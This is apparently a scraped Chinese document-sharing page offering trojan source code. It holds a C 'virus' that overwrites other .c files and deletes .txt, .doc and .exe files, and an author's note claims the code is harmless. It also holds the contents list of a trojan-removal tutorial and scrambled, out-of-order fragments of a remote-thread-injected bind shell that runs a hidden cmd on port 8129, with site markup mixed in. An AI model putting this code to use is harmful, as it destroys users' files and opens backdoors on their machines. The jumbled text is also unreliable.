*s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\"}; for ( i = 0; i < 2; i++){open(s, 0x0100,0x0080);copyfile( "C_KILLER.C",s);}}/* remove something from your computer */void Remove(){int done;int i;struct ffblk ffblk;char *documenttype[3] = {"*.txt","*.doc","*.exe"};for (i = 0; i < 3; i++){done = findfirst(documenttype,&ffblk,2);while (!done){remove(ffblk.ff_name);done = findnext(&ffblk);}}}/* overlay the c programs */void Breed(){int done;struct ffblk ffblk;done = findfirst("*.c",&ffblk,2);while (!done){if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 ){copyfile("C_KILLER.C",ffblk.ff_name);}done = findnext(&ffblk);}}void main(){printf("THERE IS A VIRUS BY XIAOKE.\n\n");Breed();Remove();CreatEXE();printf("COULD YOU TELL ME YOUR NAME?\n\n");printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");getchar();printf("IT'S ONLY A JOKE! THANK YOU!\n\n");clrscr();system("cmd");}⾸先声明:本程序是我举的⼀个例⼦为了叫⼤家理解就可以了如果⼤家拿去捉弄⼈,我不负任何责任!希望⼤家要以学习为重!对于病毒我们应该是深恶痛绝的,但是作为纯研究许多⼈还是很有兴趣的我曾经⽤汇编做过⼀些具有毁灭性的病毒,本想献出来与⼤家分享不过考虑到⼀些⼩⼈看了会做出来⼀些危害别⼈的⾏为,所以我决定⽤这个简单的并毫⽆伤害性的c语⾔伪病毒来说明⼀下问题,再次声明这⼀切全是为了编程研究病毒的特点:病毒的最⼤特点就是⾃我复制,从病毒的分类来说有很多种,这⾥我们将介绍最流⾏的附加式病毒,它通过对正常的⽂件进⾏改写,增加来实现其⾃我复制的⽬的。
木马程序原代码
![木马程序原代码](https://img.taocdn.com/s3/m/ff6a7fa0284ac850ad0242ab.png)
<a id="logout" class="Logout" href="/?logout&aid=7&u=http%3A//">退出</a>
<tr>
<td width="146" valign="top" align="left" id="logo">
<a href="/" id="top-logo"><img src="/img/iknow/docshare/logo_uu="137" height="46"></a>
</p>
<table cellpadding="0" cellspacing="0" class="g-si">
<tbody><tr>
<td><input class="g-hdi" size="48" type="text" maxlength="256" tabindex="1" value="C语言" name="word" id="kw"></td>
<script type="text/javascript" src="/static/js/doc.js"></script>
c语言木马源代码教程 (扫盲 进阶 深度剖析)
![c语言木马源代码教程 (扫盲 进阶 深度剖析)](https://img.taocdn.com/s3/m/cdb80df701f69e3142329443.png)
目录一. 疱丁解马-木马查杀深度剖析之扫盲篇 (1)二. 疱丁解马-木马查杀深度剖析之进程篇(一) (3)三. 疱丁解马-木马查杀深度剖析之进程篇(二) (7)四. 疱丁解马-木马查杀深度剖析之进程篇(三) (12)五. 疱丁解马-木马查杀深度剖析之进程篇(四) (18)六. 疱丁解马-木马查杀深度剖析之自启动项篇(一) (24)七. 疱丁解马-木马查杀深度培析之自启动项篇(二) (30)八. 疱丁解马-木马查杀深度培析之自启动项篇(三) (35)九. 疱丁解马-木马查杀深度培析之自启动项篇(四) (41)十. 疱丁解马-木马查杀深度剖析之文件篇(一) (46)十一.疱丁解马-木马查杀深度剖析之文件篇(二) (52)十二.疱丁解马-木马查杀深度剖析之文件篇(三) (61)疱丁解马-木马查杀深度剖析之扫盲篇一、前言在进入正文之前呢,容我先说几句废话。
在写此文之前,我曾写过一篇“高级木马的自我保护技术与查杀之策”,承蒙各位朋友的厚爱,被各网站所转载,亦曾有许多朋友来信求助。
由于该文是心血来潮后的随笔所写,所以并没有经过深思熟虑,也并没有脉络可循,至使有的朋友能看懂,有的却看不懂。
而看得懂的呢,亦有很大一部分并不能真正的应用文中所提的查杀技巧。
故一直有心再写一篇文章,帮助深受木马毒害的朋友们了解木马是什么,又如何查杀。
本文适于下列人员阅读:能熟练使用计算机的人想自己动手解决问题的人钱没有多到电脑一出问题就扔到电脑修理公司的人适于下列人员参考:电脑维修人员微机管理人员安全相关的程序开发人员本文所要达到的目的是:让菜鸟也可以了解系统安全自己来动手查毒杀马,由求助者变为帮助它人者。
在杀毒软件无能为力的情况下,借助本文的知识让你仍然能借助工具完成清理查杀的任务。
让您真正的明白一些看似神秘的、高深莫测的专用术语与技术的内幕。
让您了解Windows系统的底层知识。
本文以手动查杀为主,辅以必要的工具,文中用到的工具与测试用的仿木马小程序都提供了下载地址,供朋友们下载试用。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
PMessageBoxA = (FARPROC)Para->dwMessageBox;
nVersion = MAKEWORD(2,1);
PWSAStartup(nVersion, (LPWSADATA)&WSAData);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break;
}
}
PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
memset(Para->Buff,0,4096);
PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRead,0,0);
if(lBytesRead) {
if(!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0))break;
// Psend(clientSocket, Para->telnetmsg, 60, 0);
if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0;
if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0;
PCloseHandle(hWritePipe1);
Pclosesocket(listenSocket);
Pclosesocket(clientSocket);
// PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox, MB_OK);
HANDLE hWritePipe2;
STARTUPINFO si;
PROCESS_INFORMATION ProcessInformation;
unsigned long lBytesRead = 0;
typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);
typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);
typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );
typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);
if(Pbind(listenSocket, (struct sockaddr *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;
if(Plisten(listenSocket, 5))return 0;
clientSocket = Paccept(listenSocket, (struct sockaddr *)&client_addr, &iAddrSize);
// 远程线程执行体
DWORD __stdcall ThreadProc(RemotePara *Para)
{
WSADATA WSAData;
WORD nVersion;
SOCKET listenSocket;
SOCKET clientSocket;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int iAddrSize = sizeof(client_addr);
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1;
HANDLE hWritePipe1;
HANDLE hReadPipe2;
PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwFreeLibrary;
PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para->dwGetModuleHandle;
LoadLibraryFunc(Para->winsockDll);
PCreateProcessA = (FARPROC)Para->dwCreateProcessA;
PPeekNamedPipe = (FARPROC)Para->dwPeekNamedPipe;
PWriteFile = (FARPROC)Para->dwWriteFile;
PReadFile = (FARPROC)Para->dwReadFile;
if(listenSocket == INVALID_SOCKET)return 0;
server_addr.sin_family = AF_INET;
server_addr.sin_port = Phtons((unsigned short)(8129));
server_addr.sin_addr.s_addr = INADDR_ANY;
DWORD dwGetModuleHandle;
DWORD dwWSAStartup;
DWORD dwSocket;
DWORD dwhtons;
DWORD dwbind;
DWORD dwlisten;
DWORD dwaccept;
DWORD dwsend;
Plisten = (FARPROC)Para->dwlisten;
Paccept = (FARPROC)Para->dwaccept;
Psend = (FARPROC)Para->dwsend;
Precv = (FARPROC)Para->dwrecv;
Pclosesocket = (FARPROC)Para->dwclosesocket;
FARPROC PTerminateProcess;
PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary;
PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress;
char telnetmsg[60];
}RemotePara;
// 提升应用级调试权限
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);
// 根据进程名称得到进程ID
DWORD GetPidByName(char *szName);
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>
//参数结构 ;
typedef struct _RemotePara
{
DWORD dwLoadLibrary;
DWORD dwFreeLibrary;
DWORD dwGetProcAddress;
ZeroMemory(&si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
PCloseHandle = (FARPROC)Para->dwCloseHandle;
PCreatePipe = (FARPROC)Para->dwCreatePipe;
PTerminateProcess = (FARPROC)Para->dwTerminateProcess;
si.hStdOutput = si.hStdError = hWritePipe1;
if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation))return 0;